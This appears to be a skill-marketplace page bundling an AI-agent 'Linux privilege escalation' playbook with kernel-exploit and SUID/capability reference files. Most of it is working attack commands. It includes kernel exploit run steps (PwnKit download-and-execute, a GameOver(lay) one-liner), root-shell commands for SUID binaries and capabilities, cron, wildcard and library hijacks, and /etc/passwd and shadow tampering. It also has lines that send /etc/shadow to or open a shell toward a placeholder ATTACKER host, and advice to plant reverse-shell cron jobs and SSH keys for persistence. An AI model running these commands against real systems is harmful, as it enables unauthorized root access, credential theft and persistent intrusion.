linux-privilege-escalation

어떤 스킬인가요?

>-

설치 방법

프로젝트 폴더에서 아래 명령어를 실행하고, 설치할 에이전트를 선택하세요.

설치 명령을 직접 실행해야 적용됩니다. 지원 에이전트와 필요한 권한·라이선스는 제작자의 안내를 확인하세요.

스킬 원문 파일

# Kernel Exploits Checklist

> **AI LOAD INSTRUCTION**: Load this when the target has an outdated kernel and you need to map kernel version to known exploits. Covers DirtyPipe, DirtyCow, OverlayFS, nf_tables, io_uring, Netfilter, and more. Includes compilation tips, cross-compilation, static linking, and stability notes. Assumes the main [SKILL.md](./SKILL.md) is already loaded.

---

## 1. KERNEL VERSION → EXPLOIT MAPPING TABLE

### 1.1 Critical Kernel Exploits (2016–2024)

| Exploit Name | CVE | Kernel Range | Impact | Stability |
|---|---|---|---|---|
| **DirtyCow** | CVE-2016-5195 | 2.6.22 – 4.8.3 | Write to read-only memory → overwrite `/etc/passwd` | ⚠️ May crash if using `write()` variant; prefer `madvise()` variant |
| **DirtyPipe** | CVE-2022-0847 | 5.8 – 5.16.10 | Overwrite any readable file (even read-only) | ✅ Very stable — splice-based, no race condition |
| **OverlayFS (Ubuntu)** | CVE-2021-3493 | 4.x – 5.11 (Ubuntu-specific) | User namespace + overlayfs unvalidated capabilities | ✅ Stable on affected Ubuntu versions |
| **OverlayFS (2023)** | CVE-2023-0386 | 5.11 – 6.2 | SUID copy via overlayfs | ✅ Reliable |
| **nf_tables** | CVE-2023-32233 | 5.x – 6.3.1 | UAF in nf_tables → root | ⚠️ May need tuning; depends on netfilter config |
| **nf_tables (batch)** | CVE-2024-1086 | 5.14 – 6.6.14 | Netfilter nf_tables double-free | ✅ Public exploit, high reliability |
| **io_uring** | CVE-2023-2598 | 5.7 – 6.3.1 | io_uring fixed buffer UAF | ⚠️ Complex; requires io_uring enabled |
| **io_uring** | CVE-2024-0582 | 6.4 – 6.7.1 | io_uring PBUF ring UAF | ✅ Reliable on affected versions |
| **Netfilter (nft)** | CVE-2022-34918 | 5.8 – 5.18.9 | Heap overflow in nft_set | ⚠️ Heap-dependent |
| **pkexec (PwnKit)** | CVE-2021-4034 | Any with polkit ≤ 0.120 | Polkit pkexec SUID local root | ✅ Extremely stable — works on almost all distros |
| **sudo Baron Samedit** | CVE-2021-3156 | sudo 1.8.2 – 1.8.31p2, 1.9.0 – 1.9.5p1 | Heap overflow in sudo | ✅ Reliable — multiple public exploits |
| **Looney Tunables** | CVE-2023-4911 | glibc 2.34 – 2.38 | Buffer overflow in ld.so GLIBC_TUNABLES | ✅ Reliable on Fedora/Ubuntu |
| **GameOver(lay)** | CVE-2023-2640 + CVE-2023-32629 | Ubuntu 5.15 – 6.2 (Ubuntu-specific) | OverlayFS + capabilities | ✅ Single command exploit on Ubuntu |

### 1.2 Older Kernel Exploits (Pre-2016)

| Exploit Name | CVE | Kernel Range | Notes |
|---|---|---|---|
| **Full Nelson** | CVE-2010-4258 | 2.6.31 – 2.6.36 | econet + proto_ops |
| **Mempodipper** | CVE-2012-0056 | 3.0.0 – 3.0.18 | proc mem write |
| **perf_swevent** | CVE-2013-2094 | 2.6.37 – 3.8.8 | Perf subsystem |
| **Dirty COW (original)** | CVE-2016-5195 | 2.6.22+ | See above |
| **AF_PACKET** | CVE-2017-7308 | 4.x – 4.10.6 | TPACKET_V3 ring buffer |
| **KASLR bypass + ptrace** | CVE-2017-1000112 | 4.x – 4.13 | UDP fragmentation |

### 1.3 Container-Relevant Kernel Exploits

| Exploit | CVE | Container Escape? | Notes |
|---|---|---|---|
| DirtyPipe | CVE-2022-0847 | ✅ | Overwrite `/etc/passwd` on host via `/proc/1/root` if PID namespace shared |
| OverlayFS | CVE-2023-0386 | ✅ | With overlayfs in user namespace |
| nf_tables | CVE-2024-1086 | ⚠️ | Only if CAP_NET_ADMIN available in container |
| runc | CVE-2019-5736 | ✅ | Overwrite runc binary on host |
| cgroups | CVE-2022-0492 | ✅ | cgroup v1 release_agent |

---

## 2. EXPLOIT COMPILATION TIPS

### 2.1 On-Target Compilation

```bash
# Check if gcc/cc is available
which gcc cc

# Simple compilation
gcc exploit.c -o exploit -static
# -static: include all libraries — avoids version mismatch

# If no gcc, check for alternatives:
which musl-gcc    # Alpine/minimal systems
which clang
which tcc         # Tiny C Compiler
```

### 2.2 Cross-Compilation (on Attacker Box)

```bash
# For x86_64 target:
gcc -static -o exploit_x64 exploit.c

# For x86 (32-bit) target:
gcc -m32 -static -o exploit_x86 exploit.c

# For ARM (Raspberry Pi, embedded):
arm-linux-gnueabihf-gcc -static -o exploit_arm exploit.c

# For AARCH64:
aarch64-linux-gnu-gcc -static -o exploit_arm64 exploit.c

# For MIPS (routers, IoT):
mipsel-linux-gnu-gcc -static -o exploit_mips exploit.c

# Install cross-compilers (Debian/Ubuntu):
apt install gcc-arm-linux-gnueabihf gcc-aarch64-linux-gnu gcc-mipsel-linux-gnu
```

### 2.3 Musl Static Linking (Smallest Binaries)

```bash
# Install musl cross-compiler
apt install musl-tools

# Compile static binary with musl (much smaller than glibc static)
musl-gcc -static -o exploit exploit.c
```

### 2.4 Go / Rust Exploits (Pre-Compiled)

```bash
# Many modern exploits are in Go — compile statically:
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o exploit .

# Rust:
RUSTFLAGS='-C target-feature=+crt-static' cargo build --release --target x86_64-unknown-linux-musl
```

---

## 3. KERNEL EXPLOIT STABILITY NOTES

### 3.1 Stability Tiers

| Tier | Description | Examples |
|---|---|---|
| **Tier 1 — Reliable** | Deterministic, no race, works consistently | DirtyPipe, PwnKit, GameOver(lay) |
| **Tier 2 — Usually Works** | Minor timing or heap layout dependency | DirtyCow (madvise), Baron Samedit, Looney Tunables |
| **Tier 3 — Fragile** | Heap spraying, race-dependent, may crash | nf_tables (older), AF_PACKET, io_uring variants |

### 3.2 Pre-Exploit Checklist

```
Before running a kernel exploit:
│
├── 1. Verify kernel version matches exactly
│   ├── uname -r
│   ├── cat /proc/version
│   └── Compare with exploit's documented range
│
├── 2. Check architecture
│   ├── uname -m       # x86_64, aarch64, armv7l
│   └── file /bin/ls   # ELF 64-bit / 32-bit
│
├── 3. Check distro-specific patches
│   ├── Ubuntu/Debian: dpkg -l linux-image-$(uname -r)
│   ├── RHEL/CentOS: rpm -q kernel-$(uname -r)
│   └── Backported fixes may not change version number!
│
├── 4. Assess stability risk
│   ├── Tier 1 → safe to run
│   ├── Tier 2 → run, may need 2-3 attempts
│   └── Tier 3 → run only as last resort; may crash/panic
│
├── 5. Verify security modules
│   ├── SELinux: getenforce / sestatus
│   ├── AppArmor: aa-status / cat /sys/module/apparmor/parameters/enabled
│   └── seccomp: grep Seccomp /proc/self/status
│
└── 6. Set up persistence BEFORE running (in case of crash)
    ├── SSH key in ~/.ssh/authorized_keys
    ├── Reverse shell cron job
    └── Save current shell state
```

### 3.3 Common Failure Modes

| Failure | Cause | Mitigation |
|---|---|---|
| Kernel panic / reboot | Race condition lost, memory corruption | Use Tier 1 exploits first; retry with modified parameters |
| `Operation not permitted` | SELinux/AppArmor blocking | Check security module status; try bypass techniques |
| `No such file or directory` | Missing kernel feature (io_uring, nftables) | `ls /proc/sys/` or `lsmod` to verify feature availability |
| Exploit runs but no root | Distro backported patch | Check package version, not just kernel version |
| `SIGKILL` during exploit | seccomp filter killing syscalls | Check `/proc/self/status` Seccomp field |

---

## 4. SPECIFIC EXPLOIT QUICK REFERENCES

### 4.1 DirtyPipe (CVE-2022-0847)

```bash
# Check: kernel 5.8 – 5.16.10
uname -r

# Exploit (overwrite /etc/passwd):
./dirtypipe /etc/passwd 1 '${root_line}'
# Or use the SUID variant: overwrites a SUID binary temporarily
./dirtypipez    # automated — spawns root shell

# Very stable — no race condition, uses splice()
```

### 4.2 PwnKit (CVE-2021-4034)

```bash
# Check: pkexec must be SUID (almost always is)
ls -la /usr/bin/pkexec

# Exploit:
# Most public PoCs are single-command:
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit && ./PwnKit

# Or compile from source:
gcc cve-2021-4034.c -o pwnkit
./pwnkit
```

### 4.3 GameOver(lay) (CVE-2023-2640 + CVE-2023-32629)

```bash
# Ubuntu-specific (5.15 – 6.2 Ubuntu kernels)
# One-liner:
unshare -rm sh -c "
  mkdir l u w m &&
  cp /u*/b*/p]asswd l/;
  setcap cap_setuid+eip l/passwd;
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
  touch m/*;" &&
u/passwd
```

### 4.4 DirtyCow (CVE-2016-5195)

```bash
# Check: kernel < 4.8.3
uname -r

# Preferred variant (madvise — more stable):
gcc -pthread dirtycow-mem.c -o dcow -lcrypt
./dcow
# Modifies /etc/passwd in memory; may need revert after

# IMPORTANT: some variants can cause system instability
# Always prefer the madvise variant over the write() variant
```

### 4.5 Baron Samedit (CVE-2021-3156)

```bash
# Check sudo version:
sudo --version
# Vulnerable: 1.8.2 – 1.8.31p2, 1.9.0 – 1.9.5p1

# Quick test (should trigger error, not usage):
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If "malloc(): memory corruption" → likely vulnerable

# Compile and run exploit (multiple variants available)
```

---

## 5. AUTOMATED KERNEL EXPLOIT SUGGESTION

```bash
# linux-exploit-suggester (shell script — no compilation needed)
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

# linux-exploit-suggester-2 (Perl)
wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl

# LinPEAS also checks for kernel exploits
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

---
name: linux-privilege-escalation
description: >-
  Linux privilege escalation playbook. Use when you have low-privilege shell access and need to escalate to root via SUID/SGID binaries, capabilities, cron abuse, kernel exploits, misconfigurations, or credential harvesting on Linux systems.
---

# SKILL: Linux Privilege Escalation — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LD_PRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations.

## 0. RELATED ROUTING

Before going deep, consider loading:

- [container-escape-techniques](../container-escape-techniques/SKILL.md) when the target is a container and you need to escape to host
- [linux-security-bypass](../linux-security-bypass/SKILL.md) when facing restricted shells, AppArmor, SELinux, or seccomp
- [linux-lateral-movement](../linux-lateral-movement/SKILL.md) after obtaining root for pivoting to adjacent hosts
- [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) when the host is a Kubernetes node

### Advanced Reference

Also load [SUID_CAPABILITIES_TRICKS.md](./SUID_CAPABILITIES_TRICKS.md) when you need:
- Top 30 SUID binaries with exact exploitation commands (GTFOBins)
- Capability-specific exploitation for each dangerous cap
- Custom SUID binary exploitation methodology

Also load [KERNEL_EXPLOITS_CHECKLIST.md](./KERNEL_EXPLOITS_CHECKLIST.md) when you need:
- Kernel version → exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.)
- Exploit compilation tips and cross-compilation notes
- Kernel exploit stability assessment

---

## 1. ENUMERATION CHECKLIST

Run these immediately after landing a shell:

### System Info

```bash
uname -a                        # Kernel version
cat /etc/os-release             # Distro and version
cat /proc/version               # Kernel compile info
hostname && id && whoami        # Current context
```

### Sudo & SUID/SGID

```bash
sudo -l                         # What can we run as root?
find / -perm -4000 -type f 2>/dev/null   # SUID binaries
find / -perm -2000 -type f 2>/dev/null   # SGID binaries
getcap -r / 2>/dev/null         # Files with capabilities
```

### Cron & Timers

```bash
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
systemctl list-timers --all     # systemd timers
```

### Writable Files & Dirs

```bash
find / -writable -type f 2>/dev/null | grep -v proc
ls -la /etc/passwd /etc/shadow  # Check permissions
find / -perm -o+w -type d 2>/dev/null   # World-writable dirs
```

### Network & Services

```bash
ss -tlnp                        # Listening services
cat /proc/net/tcp               # Raw TCP connections
ps aux                          # Running processes
env                             # Environment variables (credentials?)
```

### Credential Locations

```bash
cat ~/.bash_history
cat ~/.mysql_history
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -30
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null
```

---

## 2. SUID/SGID EXPLOITATION

### GTFOBins Methodology

1. Find SUID binaries: `find / -perm -4000 -type f 2>/dev/null`
2. Cross-reference each with [GTFOBins](https://gtfobins.github.io/)
3. Use the "SUID" section specifically — not all binary abuse works with SUID

### Quick-Win SUID Escalations

| Binary | Command |
|---|---|
| `bash` | `bash -p` |
| `find` | `find . -exec /bin/sh -p \; -quit` |
| `vim` | `vim -c ':!/bin/sh'` |
| `python` | `python -c 'import os; os.execl("/bin/sh","sh","-p")'` |
| `env` | `env /bin/sh -p` |
| `nmap` (old) | `nmap --interactive` → `!sh` |
| `awk` | `awk 'BEGIN {system("/bin/sh -p")}'` |
| `less` | `less /etc/passwd` → `!/bin/sh` |
| `cp` | Copy `/etc/passwd`, add root user, copy back |

### Shared Library Hijacking (SUID Binary)

```bash
ldd /usr/local/bin/suid_binary                    # Check loaded libraries
strace /usr/local/bin/suid_binary 2>&1 | grep -i "open.*\.so"  # Find load paths

# If it loads from a writable directory — inject constructor:
gcc -shared -fPIC -o /writable/path/libevil.so evil.c
# evil.c: __attribute__((constructor)) → setuid(0); system("/bin/bash -p")
```

---

## 3. CAPABILITIES ABUSE

| Capability | Risk | Exploitation |
|---|---|---|
| `cap_setuid` | **Critical** | `python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'` |
| `cap_dac_override` | **Critical** | Read/write any file regardless of permissions |
| `cap_dac_read_search` | **High** | Read any file — dump `/etc/shadow` |
| `cap_sys_admin` | **Critical** | Mount filesystems, BPF, namespace manipulation |
| `cap_sys_ptrace` | **High** | Inject into root processes via ptrace |
| `cap_net_raw` | **Medium** | Sniff traffic, ARP spoofing |
| `cap_net_bind_service` | **Low** | Bind to privileged ports (<1024) |
| `cap_fowner` | **High** | Change ownership of any file |

```bash
# Find binaries with capabilities
getcap -r / 2>/dev/null

# Example: python3 with cap_setuid
# /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

---

## 4. CRON / TIMER ABUSE

### Writable Cron Scripts

```bash
# Find cron jobs running as root
cat /etc/crontab | grep root
ls -la /etc/cron.d/

# If a root-owned cron runs a script writable by current user:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /writable/script.sh
# Wait for cron → /tmp/bash -p
```

### PATH Hijacking in Cron

```bash
# If crontab has: PATH=/home/user:/usr/local/bin:/usr/bin
# And runs: * * * * * root backup.sh (without full path)
# Create /home/user/backup.sh:
echo '#!/bin/bash' > /home/user/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup.sh
chmod +x /home/user/backup.sh
```

### Wildcard Injection (tar)

```bash
# If cron runs: tar czf /backup/archive.tar.gz *
# In the target directory, create:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"
# tar interprets filenames as arguments
```

### pspy — Monitor Processes Without Root

```bash
# Upload pspy64 or pspy32 to target
./pspy64
# Watch for cron jobs, services, and background processes
```

---

## 5. NFS NO_ROOT_SQUASH

```bash
# On attacker: check exported shares
showmount -e TARGET_IP

# If no_root_squash is set:
mount -t nfs TARGET_IP:/share /mnt/nfs
# As root on attacker box:
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash

# On target:
/share/bash -p    # root shell
```

---

## 6. WRITABLE /etc/passwd OR /etc/shadow

### Writable /etc/passwd

```bash
# Generate password hash
openssl passwd -1 -salt xyz password123
# → $1$xyz$...hash...

# Append root-equivalent user
echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd

# Or replace root's 'x' with generated hash (if no shadow file)
```

### Writable /etc/shadow

```bash
# Generate SHA-512 hash
mkpasswd -m sha-512 password123

# Replace root's hash in /etc/shadow
```

---

## 7. LD_PRELOAD / LD_LIBRARY_PATH WITH SUDO

```bash
# If sudo -l shows: env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH
# Compile .so with _init() that calls setresuid(0,0,0) + system("/bin/bash -p")
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary
```

---

## 8. DOCKER GROUP → ROOT

```bash
# If current user is in the docker group:
id    # check for "docker" in groups

# Mount host filesystem
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Or add SSH key
docker run -v /root:/mnt --rm -it alpine sh -c \
  'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys'
```

---

## 9. PYTHON / PERL / RUBY LIBRARY HIJACKING

```bash
# Python: if a root-executed script does "import somelib"
# Check python path order:
python3 -c 'import sys; print("\n".join(sys.path))'

# Place malicious module in writable path that comes first:
cat > /writable/path/somelib.py << 'EOF'
import os
os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")
EOF

# Perl: PERL5LIB / @INC manipulation
# Ruby: RUBYLIB / $LOAD_PATH manipulation
```

---

## 10. AUTOMATED TOOLS

| Tool | Purpose | Command |
|---|---|---|
| **LinPEAS** | Comprehensive enumeration | `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh` |
| **linux-exploit-suggester** | Kernel exploit suggestions | `./linux-exploit-suggester.sh` |
| **pspy** | Monitor processes (no root needed) | `./pspy64` |
| **LinEnum** | Legacy enumeration | `./LinEnum.sh -t` |
| **GTFOBins** | SUID/sudo/capability abuse reference | https://gtfobins.github.io/ |

---

## 11. PRIVILEGE ESCALATION DECISION TREE

```
Low-privilege shell obtained
│
├── sudo -l shows entries?
│   ├── GTFOBins match? → exploit directly
│   ├── env_keep has LD_PRELOAD? → LD_PRELOAD hijack (§7)
│   ├── NOPASSWD on custom script? → review script for injection
│   └── (ALL) with password? → check for password reuse/hashes
│
├── SUID/SGID binaries found?
│   ├── Standard binary on GTFOBins? → SUID exploit (§2)
│   ├── Custom binary? → reverse engineer, check libs (strace/ltrace)
│   └── Shared lib from writable path? → library hijack (§2)
│
├── Capabilities on binaries?
│   ├── cap_setuid? → instant root (§3)
│   ├── cap_dac_override? → write /etc/passwd (§6)
│   ├── cap_sys_admin? → mount / namespace tricks
│   └── cap_sys_ptrace? → process injection
│
├── Cron jobs running as root?
│   ├── Writable script? → inject payload (§4)
│   ├── Missing full path? → PATH hijack (§4)
│   └── Uses wildcards? → wildcard injection (§4)
│
├── Writable sensitive files?
│   ├── /etc/passwd writable? → add root user (§6)
│   ├── /etc/shadow writable? → replace root hash (§6)
│   └── systemd unit files writable? → add ExecStartPre
│
├── Docker/LXD group membership?
│   └── Yes → mount host filesystem (§8)
│
├── NFS shares with no_root_squash?
│   └── Yes → SUID binary via NFS (§5)
│
├── Kernel version old/unpatched?
│   └── Check KERNEL_EXPLOITS_CHECKLIST.md
│
└── None of the above?
    ├── Run LinPEAS for comprehensive scan
    ├── Check for password reuse (bash_history, config files)
    ├── Check internal services (127.0.0.1 listeners)
    └── Monitor processes with pspy for hidden opportunities
```

# SUID/SGID & Capabilities Exploitation Tricks

> **AI LOAD INSTRUCTION**: Load this for detailed SUID binary exploitation commands (GTFOBins top 30), capability-specific abuse techniques, and custom SUID exploitation methodology. Assumes the main [SKILL.md](./SKILL.md) is already loaded for enumeration and general privesc flow.

---

## 1. TOP 30 SUID BINARIES — EXPLOITATION COMMANDS

All commands below assume the binary has the SUID bit set (`-rwsr-xr-x` with root ownership).

### 1.1 Shell / Interpreters

| # | Binary | Exploit Command | Notes |
|---|---|---|---|
| 1 | `bash` | `bash -p` | `-p` preserves effective UID |
| 2 | `sh` | `sh -p` | Same as bash |
| 3 | `dash` | `dash -p` | Common on Debian |
| 4 | `zsh` | `zsh` | Drops to root without flags |
| 5 | `csh` | `csh` | Inherits SUID |
| 6 | `python` | `python -c 'import os; os.execl("/bin/sh","sh","-p")'` | Works for python2/3 |
| 7 | `perl` | `perl -e 'exec "/bin/sh";'` | — |
| 8 | `ruby` | `ruby -e 'exec "/bin/sh"'` | — |
| 9 | `lua` | `lua -e 'os.execute("/bin/sh")'` | — |
| 10 | `php` | `php -r 'pcntl_exec("/bin/sh", ["-p"]);'` | Needs pcntl extension |

### 1.2 File Readers / Editors

| # | Binary | Exploit Command | Notes |
|---|---|---|---|
| 11 | `vim` / `vi` | `vim -c ':!/bin/sh'` | Or `:set shell=/bin/sh` then `:shell` |
| 12 | `nano` | `nano /etc/shadow` → read hashes | No direct shell; use for file read/write |
| 13 | `less` | `less /etc/shadow` → `!/bin/sh` | Press `!` then enter command |
| 14 | `more` | `more /etc/shadow` → `!/bin/sh` | Must be in paging mode (small terminal) |
| 15 | `ed` | `ed` → `!/bin/sh` | Line editor |
| 16 | `man` | `man man` → `!/bin/sh` | Uses pager (less) internally |
| 17 | `view` | `view -c ':!/bin/sh'` | Read-only vim variant |

### 1.3 File Operations

| # | Binary | Exploit Command | Notes |
|---|---|---|---|
| 18 | `cp` | `cp /etc/shadow /tmp/shadow` | Read sensitive files; or overwrite `/etc/passwd` |
| 19 | `mv` | Replace `/etc/passwd` with crafted version | Destructive — backup first |
| 20 | `cat` | `cat /etc/shadow` | Read-only — crack hashes offline |
| 21 | `tee` | `echo 'hacker:...:0:0::/root:/bin/bash' \| tee -a /etc/passwd` | Append to files |
| 22 | `dd` | `dd if=/etc/shadow of=/tmp/shadow` | Raw file copy |

### 1.4 Execution / Utility

| # | Binary | Exploit Command | Notes |
|---|---|---|---|
| 23 | `find` | `find . -exec /bin/sh -p \; -quit` | Classic GTFOBins |
| 24 | `awk` | `awk 'BEGIN {system("/bin/sh -p")}'` | — |
| 25 | `env` | `env /bin/sh -p` | — |
| 26 | `nmap` | Old: `nmap --interactive` → `!sh`; New: `nmap --script=<(echo 'os.execute("/bin/sh")')` | `--interactive` removed in 5.21+ |
| 27 | `strace` | `strace -o /dev/null /bin/sh -p` | Trace = execute |
| 28 | `ltrace` | `ltrace -b -L /bin/sh -p` | Same concept |
| 29 | `taskset` | `taskset 1 /bin/sh -p` | CPU affinity wrapper = execute |
| 30 | `time` | `time /bin/sh -p` | Timing wrapper |

### 1.5 Network Binaries with SUID

| Binary | Exploit | Notes |
|---|---|---|
| `wget` | `wget --post-file=/etc/shadow http://ATTACKER/` | Exfiltrate; or `wget -O /etc/cron.d/rev http://ATTACKER/cron` |
| `curl` | `curl file:///etc/shadow`; `curl -o /etc/cron.d/rev http://ATTACKER/cron` | Read/write files |
| `socat` | `socat stdin exec:/bin/sh,pty,stderr,setsid,sigint,sane` | Full TTY root shell |
| `nc` / `ncat` | Bind/reverse shell as root | `nc -e /bin/sh ATTACKER PORT` |

---

## 2. CAPABILITY-SPECIFIC EXPLOITATION

### 2.1 cap_setuid (Most Dangerous)

Any binary with this capability can change its UID to 0.

```bash
# Python
/usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl
/usr/bin/perl = cap_setuid+ep
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# PHP
/usr/bin/php = cap_setuid+ep
php -r 'posix_setuid(0); system("/bin/bash");'

# Ruby
/usr/bin/ruby = cap_setuid+ep
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'

# Node.js
/usr/bin/node = cap_setuid+ep
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
```

### 2.2 cap_dac_override (Bypass File Permissions)

Can read/write ANY file regardless of ownership/permissions.

```bash
# If vim has cap_dac_override:
vim /etc/shadow          # Read and edit shadow file
vim /etc/passwd          # Add root-level user
vim /root/.ssh/authorized_keys   # Plant SSH key

# If python has cap_dac_override:
python3 -c '
f = open("/etc/shadow"); print(f.read())
'
# Or write:
python3 -c '
with open("/etc/passwd","a") as f:
    f.write("hacker:$1$xyz$hash:0:0::/root:/bin/bash\n")
'
```

### 2.3 cap_dac_read_search (Read Any File)

```bash
# If tar has cap_dac_read_search:
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/

# If base64 has it:
base64 /etc/shadow | base64 -d
```

### 2.4 cap_sys_admin (Mount, BPF, Namespaces)

```bash
# Mount host filesystem (in a container context)
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Full host access

# Abuse via unshare (create user namespace, remap UID)
unshare -r /bin/bash
# Now root inside the namespace
```

### 2.5 cap_sys_ptrace (Process Injection)

```bash
# Inject into a root process
python3 << 'PYEOF'
import ctypes, sys

libc = ctypes.CDLL("libc.so.6")
PTRACE_ATTACH = 16
PTRACE_POKETEXT = 4
PTRACE_DETACH = 17

pid = int(sys.argv[1])  # PID of root process
libc.ptrace(PTRACE_ATTACH, pid, 0, 0)
# ... inject shellcode into process memory ...
PYEOF

# Simpler: use gdb if available
gdb -p <root_pid> -batch -ex 'call system("chmod +s /bin/bash")'
```

### 2.6 cap_net_raw (Network Sniffing)

```bash
# If tcpdump has cap_net_raw:
tcpdump -i eth0 -w /tmp/capture.pcap -c 1000

# If python has cap_net_raw:
# Use scapy to sniff credentials
python3 -c '
from scapy.all import *
sniff(filter="tcp port 80", prn=lambda p: p.show(), count=50)
'
```

### 2.7 cap_fowner (Change File Ownership)

```bash
# Change ownership of /etc/shadow to current user
python3 -c 'import os; os.chown("/etc/shadow", 1000, 1000)'
# Now read/modify shadow as normal user
```

### 2.8 cap_chown (Change Ownership of Any File)

```bash
# Similar to cap_fowner — take ownership of sensitive files
chown $(id -u):$(id -g) /etc/shadow
```

---

## 3. CUSTOM SUID BINARY EXPLOITATION

### 3.1 Methodology

```
Custom SUID binary found?
│
├── 1. Identify the binary type
│   ├── file /path/to/binary          → ELF? script wrapper?
│   └── strings /path/to/binary       → find hardcoded paths, commands
│
├── 2. Analyze behavior
│   ├── strace /path/to/binary 2>&1   → syscalls (open, exec, access)
│   ├── ltrace /path/to/binary 2>&1   → library calls (system, popen)
│   └── Run with various inputs       → observe behavior
│
├── 3. Find injection vectors
│   ├── Calls system()/popen() with user input? → command injection
│   ├── Opens files from PATH? → PATH hijack
│   ├── Loads shared libs from writable dir? → lib hijack
│   ├── Reads config from writable location? → config poisoning
│   └── Uses relative paths for commands? → PATH hijack
│
└── 4. Exploit
    ├── PATH hijack: export PATH=/tmp:$PATH; create /tmp/<command>
    ├── Lib hijack: place evil .so in writable RPATH/RUNPATH
    ├── Command injection: inject shell metacharacters
    └── Race condition: TOCTOU on checked files
```

### 3.2 PATH Hijacking Example

```bash
# Binary runs "service apache2 restart" (relative path)
strings /usr/local/bin/suid_binary | grep service

# Create malicious "service" in PATH
echo '#!/bin/bash' > /tmp/service
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH

# Execute the SUID binary
/usr/local/bin/suid_binary
# → /tmp/bash -p
```

### 3.3 Shared Library Hijacking via RPATH/RUNPATH

```bash
# Check RPATH/RUNPATH
readelf -d /usr/local/bin/suid_binary | grep -i path
# RUNPATH: /home/user/lib

# Check what libraries it needs
ldd /usr/local/bin/suid_binary
# libcustom.so => not found

# Create malicious library
cat > /tmp/evil.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
static void pwn() __attribute__((constructor));
void pwn() {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /home/user/lib/libcustom.so /tmp/evil.c

# Run the SUID binary → root shell
```

### 3.4 TOCTOU Race Condition

```bash
# If SUID binary checks file permission then reads it:
# access("/tmp/userfile", R_OK) → open("/tmp/userfile")

# Race: swap file between check and open
while true; do
    ln -sf /home/user/allowed.txt /tmp/userfile
    ln -sf /etc/shadow /tmp/userfile
done &

# Repeatedly run the SUID binary
while true; do
    /usr/local/bin/suid_binary /tmp/userfile 2>/dev/null | grep root && break
done
```

---

## 4. QUICK-REFERENCE: CAPABILITIES → EXPLOITATION

| Capability | Attack Type | Impact |
|---|---|---|
| `cap_setuid+ep` | Direct UID change | **Root shell** |
| `cap_setgid+ep` | Direct GID change | **Root group** |
| `cap_dac_override+ep` | Read/write any file | **Shadow/passwd edit** |
| `cap_dac_read_search+ep` | Read any file | **Credential dump** |
| `cap_sys_admin+ep` | Mount, BPF, namespace | **Host filesystem** |
| `cap_sys_ptrace+ep` | Process injection | **Root process hijack** |
| `cap_sys_module+ep` | Load kernel modules | **Kernel rootkit** |
| `cap_net_raw+ep` | Raw sockets | **Credential sniffing** |
| `cap_fowner+ep` | Change file ownership | **Shadow ownership** |
| `cap_chown+ep` | Change any ownership | **Same as fowner** |
| `cap_kill+ep` | Signal any process | **DoS / race conditions** |
| `cap_net_bind_service+ep` | Bind port <1024 | **Service impersonation** |